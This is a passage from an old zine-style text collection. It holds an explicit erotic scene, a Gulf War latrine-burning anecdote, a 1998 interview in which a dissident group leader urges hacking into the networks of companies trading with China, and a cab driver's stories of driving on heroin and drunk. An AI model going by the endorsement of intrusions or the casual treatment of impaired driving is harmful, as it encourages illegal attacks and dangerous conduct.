knows which buttock is going to be tantalised next. Symmetry is
important.
After I have him flinching constantly, to the extent where I don't have
to even touch him (just the raising of one of my hands tends to have him
either wince or jitter). I place the whip and feather on the floor. I
want him to see how happy this has made me. How thankful I am to be part
of this. Telling him to lie back flat on his back I straddle him so
that my face is towards his feet and my back at his face. Lying down
against him I urge him to take off my bra with his teeth. I'm left only
with my panties on which I am rubbing back and forth across his abdomen
while I run my hands up his inner thighs. Letting the curve of my hand
rest under his balls cupping them slowly. Applying pressure all around
and slightly raising his balls until they reach my lips. Sliding my
tongue out of my lips and pushing them open I lick the curve of his
balls up until I reach the base of his cock. I think of him lying there
staring at the back of my head. The way my ass must look raised a little
over his stomach. What the arch my pussy must look like covered in lace
with some fine shiny hairs peeking out between the holes of the lace.
And how when I get wet a dark spot appears on the outside of my panties.
As I think of these things I let my tongue course slowly up the shaft of
his cock. Pretending that my tongue is like blood cycling through him.
Until I reach the head, where it curves. I turn my tongue so it curls
round his head, letting the stud in my mouth press down against him.
Then I push him deep into my mouth closing my lips tight against him.
Drawing my teeth back and flattening my tongue underneath his cock. I
continue this over and over again. Imagining myself as part of him.
Like we are on a boat, each feeling the waves at the same time. When I
sense that he is close to cumming. I pull back from his cock. I turn
around so that I'm facing him. I run my tongue up his abdomen pressing
my breasts against him until my pussy is about an inch above his face.
He asks me to take off my panties but I refuse. I want to have him play
with me through the panties. When he can taste me and I can feel soaked
throughout the lace, only then will I take them off.
I wrap my thighs around his head so that he can keep his head up with
out having to strain too hard. Guiding his head with my thighs I bring
myself unto his tongue. I sway back and forth with his tongue. I can
feel his mouth pressed against my panties, his tongue plunged deeply
into the crease that has formed there from having the lace pushed inside
of me by his fervent licks and thrusts. I feel the arcs come, like these
little tangents. That come and go quickly, then they come and stay
longer. I start grinding down against him, wanting to grind so hard that
it hurts. Right as I feel myself about to peak I snap my legs shut and
push his back onto the bed with my knees. I stand up on the bed and put
my hands on my side an lower my panties until they fall down onto his
mouth. Telling him to suck on them, I place myself so that the tip of
his cock is against the outside of my pussy. Like a bee buzzing
persistently at the petals of a flower trying to get to the pollen.
After rotating my hips around a few times I slowly descend onto him.
Making sure that his cock is being helped up by my outer pussy lips.
Watching him with his hands still tied and sucking on my panties. I let
myself plunge down all the way on his cock. Moving from an upright
position I lie down against him so that my head is under his chin, and
my body squeezed tightly around him. I glide up and down, then as I come
down again I flex the lower part of my body so I can deepen the
position. As I rise up I clench the muscles inside my pussy so that I get
tighter as I near the head.
I love the feeling of being like a vice. I have all these holds I can do
that can alter the feeling of his cock, and can make it really intense
when we cum. As long as he flows with it we should be able to cum quite
close to each other, if not on time.
I look up and raise myself a little, I see the panties have been pushed
aside but I don't care. I want to feel his tongue on mine. Kiss him,
bite around his neck and whisper my thoughts at this very moment. Hear
our moans resonate on the walls around us. I tell him how I feel. What
It feels like, and how hard I'm gonna cum and sometimes even when. As I
grow nearer I feel our bodies quicken and the spasms come through us
sending our chakras into a frenzy. When the last few waves pulse within
us, I slow down and drag them out with calm and tranquillity. Lying flat
on top of him I reach up and untie the hands that bind him to me and
this moment.
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...I guess I should tell the "shit-burning" story. A lot of veterans out
there probably know what this sort of thing is all about, but if you've
never served in the military you may have been kept in the dark about what
could possibly be the real cause of the mysterious "Gulf War Syndrome."
I swear to God I'm not making this story up.
When you're stuck out in the middle of nowhere (whether camping or on a
military operation), one of the most important things is keeping clean.
Keeping clean means keeping the chance of illness down. Makes sense, right?
The Army calls this field hygiene, amongst other things, and it covers more
than just making sure soldiers get a shower every 2 weeks at the minimum (I
can't recall the actual regulations, but I know that it's a different
amount of time for men and women; shorter for the women). It also covers
where you're going to throw your dirty water and...yes, human waste.
If you're in one place for a really short amount of time, the Army says you
can just dig a 1'x1'x1' "cat hole" and take a dump in it there. There are
three disadvantages to this:
1. You need to dig your hole before you really need to shit.
2. You're going to be squatting above a hole in the ground.
3. If there are a lot of people in your group, you're eventually going
to run out of places to dig.
When we got to Saudi and rolled out into the desert in October 1990, we
stayed in the same spot for about three months (during the big build-up of
forces in the region). Digging holes wasn't a practical solution for a
battalion of 350+ people because we'd eventually have to walk all the way
to Syria to find a place to dig a hole. Thus was revived the grand
tradition of the "Latrine burn", more commonly known as the "shit-burning
detail" (a "detail" is military-speak for a job or task given to
low-ranking people who haven't found a way to get out of it). I believe it
originated in Vietnam or perhaps the Korean War, but I may be mistaken.
The government (either ours or the Saudis) contracted the local labor
(usually Pakistani) to make hundreds of cheap wooden 4-seater outhouses,
under the holes of which halved oil drums were placed. Theoretically, the
"cans" would be removed daily and the contents would be burned, thus
eliminating tons of American shit that would otherwise have to go somewhere
and would probably result in a major ecological disaster.
Note that I said "theoretically." You see, shit doesn't burn well. Even the
Army knew this, so we were told to douse the contents of the shit-cans with
gasoline.
Unfortunately, I think shit ranks right up there with asbestos in terms of
non-flammable materials. We would pour at least five gallons of gas for
every two cans' worth of shit, and the stuff would only partly burn. What
was worse, it was often hard to get the fire started because most of what
we had was diesel fuel. If you've never worked with diesel gas, let me give
you a brief summary: diesel burns hot, but takes a lot of heat to get it
going. I have seen lit matches drowned in diesel. So we usually had to mix
regular gas (used in the Humvees) with the diesel...the regular gas would
ignite and in turn ignite the diesel, which would burn hot enough to
incinerate some of the shit.
While it was burning (and it would usually take a couple of hours for the
stuff that was going to burn, to burn out) you would occasionally have to
stir it...usually with a metal pole used for holding up camouflage netting
(we had plenty of these poles so we didn't have to replace them at the end
of the day -- thank God). Now if you think regular shit is pushing the
extreme limit of foul, you've never seen, smelt, or heard burning shit. It
produces black smoke that doesn't rise very high but drifts for miles and
smells like...well, burning shit. It sounds like a deep-fat fryer...you
know, what they put french fries in at Burger King. But like I said, shit
doesn't burn. And even after burning the contents twice, you often had as
much as 50% of the original material left. So...what the hell do you do
with the rest?
That's right, you bury it. In a hole. Sound familiar?
So after doing all of that, you would still have to dig a hole and pour the
pudding-like remains in there (which made a "blorp" sound), then burn the
can again to get rid of anything that refused to be poured out.
As awful as it sounded, shit-burning detail was actually one of the more
popular jobs to be "stuck" with, once the benefits were actually realized.
I know, I know, you're wondering "what the hell is good about burning
shit?!?"
Well for one thing, because they didn't want you burning shit in the middle
of camp, you had to load the cans up in a Humvee or a truck and drive a
mile or so away. This meant that you were able to get away from the
officer-induced, gearing-up-for-war bullshit that was taking place.
Instead, you could just light the cans and relax with a book or headphones
for a few hours. As long as you were upwind, in the shade and had plenty of
water (remember, we're in a desert) you were set. Other than a few
disgusting minutes, it was the closest thing to a day off we had over
there.
The rituals of other Army units differed, but this was the norm for
Headquarters company, 312th Military Intelligence Battalion, 1st Cavalry
Division. I hope you've enjoyed being grossed out almost as much as
I've enjoyed grossing you out.
Cal Jacobson
jake@tidalwave.net
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...presents... The Longer March
by Oxblood Ruffin
7/15/1998-#356
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"Adventure, exploration, discovery, human courage and cowardice, ecstasy and
triumph, suffering, sacrifice, and loyalty, and then through it all, like a
flame, an undimmed ardor and undying hope and amazing revolutionary optimism
of those thousands of youth who would not admit defeat either by man or nature
or God or death -- all this is and more seemed embodied in the history of an
odyssey unequaled in modern times."
-- Edgar Snow, _Red Star over China_
This interview was conducted at Ted's Auto Collision Bay and Fine
Dining in Toronto, on July 7th, 1998. Blondie Wong (hereafter, B)
is the Director of the Hong Kong Blondes and Oxblood Ruffin
(hereafter, O) is the Foreign Minister of the
CULT OF THE DEAD COW (cDc).
[Editor's note: This interview was referred to in Arik Hesseldahl's
July 14, 1998 WIRED NEWS article, "<A HREF="http://www.cultdeadcow.com/news/wired/19980714/">Hacking for Human Rights</A>"
<P>and the Toronto Star's July 23, 1998 article,
<P>"<A HREF="http://www.cultdeadcow.com/news/newspapers/toronto_star72398.txt">Computer Hacking New Tool of Political Activism</A>".]
O: I'm happy that this is finally coming together. I've had all kindsa
people beggin' me to speak with you. One journalist even emailed me to
suggest that he would fly anywhere in the world where I could blindfold
him and put him in the trunk of a car, then drive him to some secret
rendezvous where he would interview you.
B: It sounds like something from a movie. Are you sure he wasn't joking?
O: No. He was very sincere. I was tempted to take him up on his offer and
drive him to Detroit. "Hey, babe. Blondie couldn't make it but I've
managed to dig up Jimmy Hoffa for you."
B: I know that was a joke -- but I don't know what kind.
O: O.K., before we begin, I've gotta ask you something?
B: Yes.
O: What's up with you and those Prada loafers. Have you been reading
_Wallpaper?_ Are you dating a model? Give it up hacker man.
B: Enough. Clothes aren't important.
O: If that were true you wouldn't wear D&G suits. Face it. You're one
stylin' revolutionary.
B: I own two suits. Everything else can be put into a suitcase and that
includes my computer and personal items. I own very little.
O: You like to travel light.
B: I have to travel light.
O: You make it sound like someone is after you.
B: You know who is after.
O: O.K. Do you believe that the Government of China is looking for you?
B: I know so.
O: How do you know?
B: Our sources have alerted us. And there was the incident last August.
O: Pass. Do you still have armed guards.
B: Yes, over there.
O: Charming. He looks like a fucking troll.
B: Don't look at him. He doesn't like ...
O: Biscuits?
B: What?
O: He doesn't like white guys?
B: I am not always given suitable people.
O: Given?
B: Yes, our arrangement with [deleted] ...
O: Whoa! You shouldn't use their name.
B: Well, we have a working relationship with a group of people who are even
more outside of the law than we are.
O: That works. The enemies of my enemies are my friends.
B: What does that mean?
O: I think it's a quote from Themistocles. It means that sometimes we make
alliances based on mutual conflict with a third party. Like the U.S and
Iran. They have very little affection for each other but even less for
Iraq.
B: Just so. We share the same enemy. I like that.
O: And these law breakers provide you with armed guards?
B: That and other things. I prefer more to use their help to move people in
and out of the country.
O: You mean in and out of China?
B: Yes. A few months ago one of our people was picked up ...
O You mean Lemon Li?
B: Yes, Lemon was questioned in Beijing. She was released after a few hours
but I couldn't take any chances so our associates moved her out of
China. She is in Paris now.
O: Having a woman as the head of technical operations is sort of a radical
concept for a group of hackers.
B: Half of our members are women. Half of the people in the world are
women. Lemon is our best person. The best people go where they're
needed. That's our policy.
O: How'd she get the name Lemon? Is it from that song by U2?
B: No. She loves Meadowlark Lemon, the basketball player. She got an old
videotape of the Harlem Globetrotters and played it until it turned into
a snow storm.
O: Cool. So did moving Lemon to Europe disrupt the Blonde's agenda? Has it
made things more difficult?
B: Difficult? No. She is acting more like traffic co-ordinator now. Much of
our work is happening from the inside and she steers our efforts in the
right direction.
O: What do you mean that work is being done from the inside? The inside of
what?
B: We, the Blondes have grown by about twenty members from this time last
year. Many of the newer members are government employees. Technical
people mostly.
O: Get the fuck outa here. Are you saying that these people are like moles,
that they're members of the CP?
B: Yes.
O: Holy shit. That is some serious spy candy.
B: What?
O: Nothing. It's been an interesting year. I've noticed in the computer
underground that there are a few younger groups who cite the Hong Kong
Blondes as an inspiration. There's been a lot of activity, especially
around Analyzer's crew. He seems to have influenced people who claim to
be hacking for some higher purpose. They say they want to fight child
porn and other things. Do you have an opinion about this?
B: There has been a shift in consciousness, I believe. Younger people have
a great deal of talent although they can be very awkward. But the point
is, I think they are different from the generation of hackers before
them. They want the recognition and attention, but they also want to do
something to contribute to change things in a positive way. In general,
I think what they are doing will grow and turn into something that makes
a difference.
O: Do you think the BARC [nuclear research facility in India] break-in
represents some kind of progress? Is this the sort of thing that you're
talking about?
B: Yes. That's a good example. Nuclear proliferation is still a tremendous
threat to international security, but since the fall of the Berlin Wall
and the commercial development of Russia and the other states, there's
this attitude that everything is golden. Somehow people think that the
bombs have disappeared because we don't read about them in the papers
like we used to. At any rate, I view the BARC intrusion as something
positive because it will draw attention to the situation and cause more
discussion about a serious issue.
O: Were you political in school, in China? Is that where you got your
orientation?
B: I became aware of politics at an early age. But it was just awareness.
I was never politically active, if that is how you mean it. Politics
for me has always been something disgusting, something I didn't even
want to understand.
O: Woody Allen once joked that a politician was about two steps below a
pedophile.
B: That must make him feel slightly superior to a politician. But yes,
that is more or less my feeling too.
O: So when you say that you were politically aware, what do you mean by
that?
B: In China it is impossible not to be aware of politics. The Party is
everywhere. Meetings, criticism, people being denounced. And the fear,
that is really the big thing. Imagine: you can't speak freely. Or
you're always wondering who is going to report you for having contrary
opinions. What everyone in the West takes for granted is a luxury in
China. When I was younger I never really wanted to change anything. I
just wanted to remain above it. Sounds selfish, I know. But for me, my
goals have always been more -- how is it? -- more spiritual. I was,
even now, more influenced by persons outside of political life.
O: I understand, but even the great social activists are inherently
political. Gandhi, Martin Luther King, they were both stuck with
politics.
B: Fortunately they had the advantage of dealing with democratic
institutions. My opponents would be very happy to put a bullet in the
back of my head.
O: Yet you still do this work. Why?
B: I feel that I have no choice. I have the capacity to lead and to
organize. And there is, well, I think I still have a lot of anger in me.
My father was murdered during the Cultural Revolution. He was dragged
out of our home by the Red Guard and stoned to death right in front of
us.
O: Damn. Who was us? Your family?
B: Yes. My mother and myself. After that we went to live with my uncle.
O: So why did they come to your house? Why did they want your father?
B: One of the girls from the Red Guard denounced him. So stupid. He had
given her mother some calligraphy, something Buddhist, a prayer or
something, and that was what made my father an enemy of the people.
I think they had really just come to humiliate him, but it got out of
hand.
O: So you're a kid. Your father has been, well, murdered, and you and your
mother go to live with your uncle. What can you tell me about that?
B: It was very difficult for everyone, especially my mother. She became
excessively paranoid and eventually refused to leave the house. I had
to take care of her most of the time. When I went to school a neighbor
would come to help. My uncle is a bachelor and there was no one else in
the house. Plus he often traveled.
O: What did he do?
B: That is hard to answer. He is very gifted at languages. I think that's
all I can say. I became fluent in English because of him. Yes. But I
think that's all ..
O: Understood. And school? Growing up? That sort of stuff.
B: I was asleep in school mostly. Quite bored. School, learning, these
things have always been easy for me. I look at a book, once, twice, and
that's it. I understand, and it stays. I never had to study. So the
disadvantage was that I was always bored, looking out the window, you
know. Sports were the only thing that kept me from going crazy. I
played soccer at school, but mostly, I practiced martial arts. Anyway,
it was school, sports and running home to help out. That was my life.
O: Man. Was there anything, did you ever goof off, you know, do dopey shit
with your friends when you were a teenager, or were you pretty serious?
B: Let's see. Yes. When I was fifteen I fell under the spell of Bruce
Lee. Everyone thinks of him as this great martial artist, and that is
true, but what most people forget is how funny he was. He had been a
child actor in Hong Kong and was good at falling-down humor. You know,
when you're always tripping and falling on your ass, like what Jackie
Chan does.
O: You mean sight gags? Slapstick?
B: Yes, slapstick. I found these really ugly glasses with lenses so thick,
they made your eyes look like they were under a magnifying glass. I
used to put them on and talk really loud, asking stupid questions,
tripping, and repeating the same stupid question. It was ridiculous but
people laughed. So one day we, there were three of us, we decided to go
into a bakery and try out the routine. I went in and asked directions
on how to get to the bakery we were already in. The owner just looked
at me and said that I was there, that I was in the place I was looking
for. Then I asked the same question and started bumping into things.
And this poor man, he's just looking at me like I'm an idiot. And again
he explained that I'm in the right place. Meanwhile my friends were
stealing pastries. We did that at a few different places until we
almost got caught. I like doing imitations. I can do Kramer coming
through the door.
O: Yes. I've seen the Kramer. Love the Kramer. The Kramer is good.
B: There. Everyone does that. I always hear people talking, like from
Seinfeld.
O: Yeah. It can be a bit dopey. O.K. So you're a normal kid and you do
some bakery capers. University. What was that like?
B: Well, the hardest part was getting in. At the end of high school
there's something called The Big Test. It's an examination that lasts
several days and determines your future. There is nothing like it here.
The pressure for students is unbearable. It's study, study, study --
for months. Before, I was bragging about not studying, but for that
test I did. I was accepted at [a university] where I did an
undergraduate degree, and for my next degree I studied abroad, you know,
graduate work, research, and so. I wanted to teach. I was lucky about
getting accepted into [a university in the UK], so things seemed on the
right course.
O: But things didn't stay on course. What provoked you to change your
plans?
B: A massacre. I had finished my studies and was preparing to go on
short vacation through Europe before returning to China. This was just
as the democracy movement was beginning to swell in the spring of 1989.
We all -- not just the Chinese students, but everyone -- we watched
television reports [about the demonstrations] with tremendous
enthusiasm. We were getting faxes, email, phone calls. It was serious,
but at the same time, it was almost like a big party. We were amazed at
how much support there was for the students from the people. And there
was a lot of excitement around Gorbachev and his visit to Beijing which
took place during that time. So many factors, you know. But as the
final days approached I began to feel very uncomfortable, almost like
sick. When the tanks went into the square and began shooting and
running over people it was like I was a little boy again, watching my
father being killed. I couldn't believe it -- so terrible. Then the
big lie. The government's first response was that it never happened.
I was at a student pub in London when this was broadcast. An
engineering student from Shanghai just went berserk and destroyed the
television. So much grief, so much anger.
O: And it was shortly after this that you arrived in Canada?
B: Yes. I knew some students at Concordia [in Montreal] who were very
helpful to get me a visa. My first two years here were very dark, very
depressing. Something inside me broke and I could not get going. There
was first the shock of the killings, then realizing that I could just
not go back. All my plans were dashed. I was worried about my mother,
you know, so many things. I couldn't work in my field. I was working
in a convenience store, in the Plateau [in Montreal]. It was ghastly.
O: And you ended up in Toronto. How did that happen?
B: I met a Chinese businessman who took me under his wing. I learned how to
make money, and ended up making a lot of it. Real estate, investing,
buying futures. I did something totally different from my training, and
it just sort of snapped me out of it. I moved to Toronto where the
Chinese community is much larger. I met you shortly after I arrived. The
rest is history.
O: Leave me out of the history. I'm justa middle man.
B: Don't be ridiculous.
O: Look, let's just move along. People aren't interested in this stuff.
B: No. That isn't right. I must acknowledge the help we have gotten, the
direction. You showed me everything about Western hackers. Chaos, Legion
of Doom, MoD, everyone. When I understood how far the Cult of the Dead
Cow reached into the hacker world, and how things were organized, I was
able to take the best and use it for our struggle.
O: Well, that's kind, but really, the hacker community can be very chaotic.
It's not what I'd call a well oiled machine. There is no discipline, not
like with the Blondes.
B: We have different agendas. But still, if it weren't for the hackers, we
wouldn't be as far ahead as we are. We owe you a lot.
O: Alright, then. On behalf of alla the hackers that ever lived, I accept.
Cheers ... Earlier you mentioned that you thought that there was a sort
of shift, that younger hackers seemed to want to use their skills to
contribute to some sort of social change. I keep getting asked how
people can help the Hong Kong Blondes, how they can contribute, and I
guess now would be a good time to ask you that same question. What can
people do, hackers, members of the general public, anyone, what can they
do to help the Blondes?
B: You are the king of set ups. We've already talked about this.
O: Shut up, jackass. Just pretend like you've heard this for the first
time.
B: Alright, the first thing is this. There are many ways to get involved to
support the struggle for human rights in China. Becoming aware is the
beginning. Just talking about it is important, educating yourself. But
if we are talking about the hacker community, you know, what they can
do, this really is a matter of personal choice. I think that if people
want to participate they should use the skills that they have. That is
all they can do.
O: That's pretty oblique. What about the Yellow Pages? I think now would be
a good time to talk about them.
B: Sorry. Yes, the Yellow Pages. They are mostly students in the United
States and Europe.
O: What, no Canadians? Damn!
B: And Canadians ...
O: Yes!
B: ... who will be using the Internet to help us.
O: And how will the little buggers be doing that?
B: Alright. This requires a little background. One of the reasons that
human rights in China are not further ahead is because they have been
de-linked from American trade policy. What this means is that when human
rights considerations were associated with doing business with the
United States, at least there was the threat of losing trade relations,
of some form of punishment. Now this just doesn't exist. Beijing
successfully went around Congress and straight to American business, so
in effect, businessmen started dictating foreign policy. There are huge
lobbies in Washington that only spend money to ensure that no one
interferes with this agenda. It's very well organized, and it doesn't
end there. Henry Kissenger ...
O: Former Secretary of State under Richard Nixon, etc.
B: Yes, Kissenger is now convinced that he is running Chinese foreign
policy and has made obscene amounts of money by connecting American
businesses to Chinese markets, and at the same time, he's denouncing any
kind of linkage between trade and progress on human rights issues as an
intrusion into national sovereignty. Every other former Secretary of
State and National Security Advisor for the past twenty-five years is
now working for Kissinger and doing the same thing. And Bill Gates is
another offender. In 1996 he publicly endorsed China's position that
human rights in China should not even be discussed at an annual meeting
of the United Nations Commission on Human Rights. By taking the side of
profit over conscience, business has set our struggle back so far that
they have become our oppressors too.
O: So, shall we come back to the Yellow Pages?
B: Yes. The Yellow Pages will make life challenging for American companies
doing business with China.
O: And how will they do that?
B: By exposing them. By naming them and possibly worse.
O: And by possibly worse, you mean what?
B: Let us be frank here. Many of these companies have computer networks and
there are a lot of members in the Yellow Pages who have excellent
hacking skills.
O: I see. Let your fingers do the stalking.
B: What?
O: Nothing. How can people get involved? Is membership in the Yellow Pages
open, closed? What?
B: Membership is open to anyone who wants to get involved. There are groups
forming in many places. Anyone can start a new cell, but the main thing
is to be careful. No foolish gestures.
O: And by holding these companies' feet to the fire, this will help human
rights in China?
B: You tell me. You understand how these things work.
O: O.K., it won't change the world but it will raise the issue in a
different way and that is important. George Kennan once remarked that
the smallest amount of progress in international relations was
significant even though it might not seem like much on the surface. In
the same way, I think that something will come out of this venture
because it's just wacky enough to grab people's attention. I mean, who
would put hacking corporate networks together with human rights in
China? It's pretty stretched out, but it makes perfect sense to me. I
think that journalists, at least the ones that don't work in Washington,
will take a look at this and start asking questions.
B: We will be attacked. This idea will be attacked like anything.
O: I know, but I don't really care. It is better to light a candle than to
curse the darkness. Look, we have to help with the strategy because it
sure as hell isn't coming from the political classes. Look at Bill
Clinton. He makes his nice feel-good trip to China and comes back
gushing about, one day there'll be democracy in China. The guy's an
idiot. I mean, if I want advice from the President about getting a blow
job from a young girl, I'm all ears, but about the chances for political
reform in China, no way. He doesn't have the competence or the moral
authority to speak about these things.
B: You are not a fan of Mr. Clinton's.
O: Oh, man, you know I'm not. But let's get back to the Yellow Pages.
B: Alright. What shall we say?
O: Who will control them, or at least, where will their direction come
from?
B: They will direct themselves. This will be a disintermediated engagement.
O: Damn, nice lingo. And how will they know who to go after? How will the
Yellow Pages identify companies that do business with China?
B: They'll have to ask. They'll have to educate themselves. The Web is a
remarkable tool for doing research and posting one's findings. Just look
at what it did for Netscape.
O: Yeah, the Netscape revolution. We must all study Chairman Jim thought.
B: That is correct.
O: So really, what we're saying is that we're basically gonna turn alla
these kids loose on American companies. That could get messy.
B: We are turning no one loose. The Yellow Pages are independent of us [the
Hong Kong Blondes] and the cDc.
O: Yeah. We have enough problems with, um, certain kinds of attention. The
[Yellow] Pages are their own thing.
B: That is correct. But coming back to, how is it you said, that it could
get messy? Human rights is an international issue, so I don't have a
problem with businesses that profit from our suffering paying part of
the bill. Perhaps then they will see the wisdom of putting some
conditions on trade. But I think, more importantly, many young people
will become involved in something important on their own terms. I have
faith in idealism and youth. It took us a long way in 1989. I believe
that it will help us again.
O: Amen. O.K., one last thing, then let's go eat.
B: Yes?
O: We, the Cult of the Dead Cow, are complete media whores, but the Hong
Kong Blondes are something very different. Why did you agree to this
interview?
B: Not for the kind of publicity you might think. We just need to have
people know that we exist for now. It is like an insurance policy you
could say. If anyone [of the Hong Kong Blondes] were arrested the
possibility of execution or long imprisonment is quite real. In China,
so much happens quietly, or behind closed doors. If someone is known,
sometimes just that is enough to keep them alive, or give hope. So for
that reason I'm saying we exist that certain things, we are doing. It is
not for fame, no. So this insurance policy, it is something that no one
wants to use, but sometimes it is good to take precautions. This is my
first and last interview. Now I can go back to being invisible.
O: Not before you pay for your beer, jerky boy. Anyway, it's been a slice.
Any parting words? Advice for the kids, rules to live by, whatever?
B: I've said enough. Let's go.
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...presents... San Francisco Cab Driver Stories
by G.A. Ellsworth
7/15/1998-#358
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[Editor's note: This file was originally released in _Cool Beans!_ #6 by
G.A., under the title, "Some San Francisco Taxicab Stories"]
This is a conversation I had with a cab driver who, for obvious reasons,
prefers to remain anonymous. I'll tell you this much though, he doesn't
drive for the company I drive for. - G.A.
G.A.: Let's start with drinking and driving. Have you ever been drunk
while driving cab?
Driver: Never.
G.A.: How about drugs?
Driver: Oh yeah, heroin. In fact, one time... no... more than once, a couple
times... I'd go to work and I'd be high on heroin and I'd stop and
smoke some pot. I'd be driving along and I'd forget where I was and
where I was going. I'd look around and just not know. I've been
driving cab long enough to recognize where I am in any corner in the
city, but there were a couple of times where I panicked because I
didn't know where I was going or why, you know.
G.A.: Did you have passengers when that happened?
Driver: Oh yeah, with passengers. I just faked it. I kept driving straight
till I could figure out where I was. It was just a momentary lapse,
it would come back in about ten or fifteen seconds.
G.A.: Did that scare you?
Driver: No, I felt really stupid actually. More than anything, I felt dumb.
G.A.: You didn't lose control of the car or anything?
Driver: No, I had control of the car. I've never had any wrecks. I like to
be in control, that's why I used to do heroin, because I like to be
in control too much and I had to escape my desire to be in control!
G.A.: Did you feel like you had to do heroin?
Driver: No, I did heroin because I liked heroin.
G.A.: Well then why did you do it at work?
Driver: That was probably when I was strung out. I think I probably did it
a couple times. There was a certain period of time when it was not
that unusual for me to do heroin while I was driving a cab. But it
wasn't a very long time, it was probably over a period of a couple
years or so.
G.A.: Was it the combination of heroin and pot that made you lose it?
Driver: It definitely seemed to be the pot. That was the culprit.
G.A.: What else has happened while you were under the influence behind the
wheel.
Driver: You're probably referring to the story I told you about the drunken
queen I picked up South of Market who was doing amyl nitrate.
G.A.: Well, that was one of the stories I hoped you'd tell me, but I was
just wondering if anything interesting has happened while you were
under the influence driving.
Driver: Well, I never was all that intoxicated. I never actually drove
drunk. I mean, sometimes I'd have a couple of drinks in a bar at the
end of my shift, but basically I wasn't really driving under the
influence at all. All the really truly horrifying or interesting
things that have happened to me have happened when I've been pretty
straight and sober.
G.A.: Tell me about that.
Driver: I've developed this theory that it seems that all the really weird
things that happen to cab drivers happen to them the first couple of
months that they drive cab. They're kind of like prey in the jungle,
like a newborn or something saying "victimize me" and people pick up
that energy. Actually I think it has more to do with they don't know
how to differentiate between fares that will be a problem and fares
that won't. I actually know this guy who got robbed on his first
night driving and continued to drive for a couple of years and got
robbed twice after that. I don't know what it was with this guy, but
he seemed to attract that. In fact, I think he was robbed twice in
his first week. But he kept driving. Actually, the first couple of
weeks that I was driving, I picked up this guy, and it was probably
4:30 in the morning and this was back in the early 80s when there
used to be a lot of bath houses opened, this was before AIDS
and it was common to find a lot of drunken gays down there trying to
get home. This guy, I picked him up and he was pretty out of it. He
was sniffing amyl nitrate and asked me if I wanted some and I said
no. But I had my window mostly rolled up and as he was doing it, I
was kind of getting high off the fumes anyway. I had to roll down the
windows gasping for air. He had asked me if I minded him doing it
and I said "No, I don't care what you do as long as you pay me." So
then he pulls out this dildo, and holds it up and says "I'm gonna put
this in my ass." I just turned to look at him and said "Great." So he
pulled his pants down and pulled his knees up around his ears and
started sticking this dildo in his ass. I just drove and tried to
ignore it. Like I said, I didn't really know any better. I thought
maybe this was what cab driving in San Francisco was about. And
he's sticking it in going "Look at me look at me! Watch me, this is
like my pussy!" And I looked back and it was pretty disgusting and he
kept doing that and I was just trying to get him where he was going.
And he said "It's ok, I'll pay you extra" And that time of the
morning, money was kind of scarce so I was willing to go along with
it. So we keep driving and then he says "I'm gonna jerk off now." And
that's where I drew the line "No, you're not going to jerk off." And
he says "No, it's ok, I'll clean it up, I have a towel! I'll give you
fifteen dollars!" And I thought about it and said "Ok", cause fifteen
dollars is fifteen dollars. So he started jerking off, and he had
this greasy little towel that he wiped it up with after he came.
And then he started sticking his dildo in his ass again. And the next
thing I know he had hung his ass over the front seat and he's
sticking the dildo in and out of his ass right beside my ear. And I
kinda looked over and I was completely flabbergasted and all of a
sudden it dropped out of his ass and onto the seat beside me. It fell
right on top of my waybill and it was just sitting there with the
street lights glistening off of it, and he said "Grab it and stick it
in!" And I said "No, no, I'm not going to do that." And then he said
"I'll give you ten dollars more!" And I said "Oh, ok." And
I shoved it up his ass. Anyway, by that time, we had pulled up to his
apartment building at Hayes and Pierce and I said "Ok, that's it, get
out." And he only gave me like ten bucks extra so I was kind of
pissed. Then he asked me if I would come upstairs with him and he
said, "All you have to do is sit there and watch me jerk off." And I
said "No, you won't, you already ripped me off." So he got out, and
started walking away and I started driving away. I heard him yell,
and I looked in my rear view mirror and he's standing in the middle
of the street with has pants down and he's holding the dildo up in
the air and he turns and he sticks it up his ass.
That was probably my most curious fare.
G.A.: Did you just go home after that?
Driver: No, I finished my shift first.
G.A.: What else has happened to you?
Driver: Well, OK. I've had a few blowjobs while driving. And I've noticed
it becomes extremely difficult to not drive erratically when having
an orgasm in someone's mouth. I was actually coming back from a show
in Palo Alto and I'd decided I wasn't going to drink I was gonna have
to drive back and that the cops were going to be out in full force.
So I didn't drink for the whole show and then after the show I was
going to leave, but the guy who was running the show started setting
up drinks on the bar, and he just lined up ten or fifteen kamikazes
in a row. And I just took a look at them and said, "Aw, what the
hell," and I drank about seven of them in a row. Then I stayed there
for another hour or two and drove back in the van. Which I'm not
particularly proud of, that's one of the few times in my life when I
definitely knew without a doubt that I was too drunk to drive
safely. And I was kind of weaving around the road and I got a blowjob
on the way back too, and that was extremely... uh... that was
definitely... I wasn't staying in my lane.
Driver: Anything weird happen to you since you started driving?
G.A.: Yeah, within the first month of driving, I had every conceivable type
of couple make out in the back of my cab. First it was a guy and a
girl, then it was two guys, then a transvestite and a guy and then a
transvestite and a woman, and then last it was two women. They were
just friends I guess, and they were coming home from a double date
and they just started making out like crazy in the back seat. One of
them was saying, "No, no, the cab driver might be from that HBO show.
He probably has a hidden camera!" And I said "Oh, how did you know?
It's right here in the mirror!" And they freaked out and got really
mad at me! I thought it was funny, but they were really upset.
Driver: I picked up this one guy at the Oasis Motel. It was like 2 in the
morning, and I picked him up on the corner, and he was a young white
guy, tall, normal, good looking guy. And he said, "I've only got five
dollars, can you get me to Union and Larkin?" And I knew it was going
to be a little more than that, but I agreed to take him. He was
eating something out of a styrofoam cup and I didn't really take much
notice of it. So we got there, and the meter had gone to close to six
bucks or something and I'd turned it off and he gave me the five
dollars and said thanks and got out. And then I drove down into North
Beach and I stopped over by the TransAmerica building and this guy
opens the back door and goes "UGH!!" And I turned around and
the last guy had smeared chili all over the back seat!
G.A.: That's totally weird! That's a perfect story. That's exactly what I'm
looking for. Speaking of the Oasis, that's where I got my best ride.
It in the first few months that I had been driving and I got a radio
call to the Oasis. I drove through the little drive-in garage they've
got there and this woman got into my cab wearing a motorcycle leather
and leather pants I think. Anyway, she told me she was going to 44th
and Balboa. I wasn't sure whether it would be quicker to take Turk
all the way or if I should take Geary at that point, so I asked her
which she preferred. She told me she didn't care, that she wasn't a
bitch and that however I drove, as long as she got home she'd be
happy. So I started driving and I asked her how her day had been. She
told me she'd taken the day off from work and that she worked at the
Market Street Cinema [a strip club]. I don't remember exactly
how the conversation went, but I remember not thinking all that much
about the fact that she worked in the sex industry. She asked me
about being a cab driver and then went on to tell me that she had
lived for a number of years in Boston and had done a bunch of work as
an S&M queen and that S&M queens were a dime a dozen in San Francisco
so she wasn't making as much money as she did on the more repressed
